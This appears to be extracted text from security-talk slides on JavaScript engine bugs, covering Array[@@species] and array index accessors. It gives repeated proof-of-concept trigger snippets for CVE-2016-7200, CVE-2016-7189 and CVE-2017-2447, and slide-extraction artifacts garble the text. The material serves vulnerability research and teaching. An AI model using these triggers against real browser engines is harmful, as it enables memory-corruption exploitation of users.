Array[@@species], Array Index Accessors and Security
About Me
Array[@@species] and Array Index Accessors
Array[@@species] Vulnerabilities
Sample Array[@@species] Bug (CVE-2016-7200)
class dummy{� constructor(){ return [1, 2, 3]; }�}�class MyArray extends Array {� static get [Symbol.species]() { return dummy; }�}�var a = new MyArray({}, [], "natalie", 7, 7, 7, 7, 7);�function test(i){ return true; }�var o = a.filter(test);
class dummy{� constructor(){ return [1, 2, 3]; }�}�class MyArray extends Array {� static get [Symbol.species]() { return dummy; }�}�var a = new MyArray({}, [], "natalie", 7, 7, 7, 7, 7);�function test(i){ return true; }�var o = a.filter(test);
class dummy{� constructor(){ return [1, 2, 3]; }�}�class MyArray extends Array {� static get [Symbol.species]() { return dummy; }�}�var a = new MyArray({}, [], "natalie", 7, 7, 7, 7, 7);�function test(i){ return true; }�var o = a.filter(test);
class dummy{� constructor(){ return [1, 2, 3]; }�}�class MyArray extends Array {� static get [Symbol.species]() { return dummy; }�}�var a = new MyArray({}, [], "natalie", 7, 7, 7, 7, 7);�function test(i){ return true; }�var o = a.filter(test);
class dummy{� constructor(){ return [1, 2, 3]; }�}�class MyArray extends Array {� static get [Symbol.species]() { return dummy; }�}�var a = new MyArray({}, [], "natalie", 7, 7, 7, 7, 7);�function test(i){ return true; }�var o = a.filter(test);
class dummy{� constructor(){ return [1, 2, 3]; }�}�class MyArray extends Array {� static get [Symbol.species]() { return dummy; }�}�var a = new MyArray({}, [], "natalie", 7, 7, 7, 7, 7);�function test(i){ return true; }�var o = a.filter(test);
Why does Array[@@species] have so many bugs?
Array[@@species] modification rate
Array Index Accessor Bugs
Array Index Accessor Bugs requiring Array Inheritance
Sample Array Index Accessor Bug (CVE-2016-7189)
var t = new Array(1,2,3);� Object.defineProperty(t, '2', {� get: function() {� t[0] = {};� for(var i = 0; i < 100; i++){� t[i] = {a : i};� }� return 7;� }� });�var s = [].join.call(t);
var t = new Array(1,2,3);� Object.defineProperty(t, '2', {� get: function() {� t[0] = {};� for(var i = 0; i < 100; i++){� t[i] = {a : i};� }� return 7;� }� });�var s = [].join.call(t);
var t = new Array(1,2,3);� Object.defineProperty(t, '2', {� get: function() {� t[0] = {};� for(var i = 0; i < 100; i++){� t[i] = {a : i};� }� return 7;� }� });�var s = [].join.call(t);
var t = new Array(1,2,3);� Object.defineProperty(t, '2', {� get: function() {� t[0] = {};� for(var i = 0; i < 100; i++){� t[i] = {a : i};� }� return 7;� }� });�var s = [].join.call(t);
var t = new Array(1,2,3);� Object.defineProperty(t, '2', {� get: function() {� t[0] = {};� for(var i = 0; i < 100; i++){� t[i] = {a : i};� }� return 7;� }� });�var s = [].join.call(t);
Sample Inheritance Bug (CVE-2017-2447)
var ba;
function s(){
ba = this;
}
function dummy(){}
Object.defineProperty(Array.prototype, "0", {set : s });
var f = dummy.bind({}, 1, 2, 3, 4);
ba.length = 100000;
f(1, 2, 3);
var ba;
function s(){
ba = this;
}
function dummy(){}
Object.defineProperty(Array.prototype, "0", {set : s });
var f = dummy.bind({}, 1, 2, 3, 4);
ba.length = 100000;
f(1, 2, 3);
var ba;
function s(){
ba = this;
}
function dummy(){}
Object.defineProperty(Array.prototype, "0", {set : s });
var f = dummy.bind({}, 1, 2, 3, 4);
ba.length = 100000;
f(1, 2, 3);
var ba;
function s(){
ba = this;
}
function dummy(){}
Object.defineProperty(Array.prototype, "0", {set : s });
var f = dummy.bind({}, 1, 2, 3, 4);
ba.length = 100000;
f(1, 2, 3);
var ba;
function s(){
ba = this;
}
function dummy(){}
Object.defineProperty(Array.prototype, "0", {set : s });
var f = dummy.bind({}, 1, 2, 3, 4);
ba.length = 100000;
f(1, 2, 3);
var ba;
function s(){
ba = this;
}
function dummy(){}
Object.defineProperty(Array.prototype, "0", {set : s });
var f = dummy.bind({}, 1, 2, 3, 4);
ba.length = 100000;
f(1, 2, 3);
Why Do Array Index Accessors Have So Many Bugs?
Usage
Options
Options
Questions and Discussion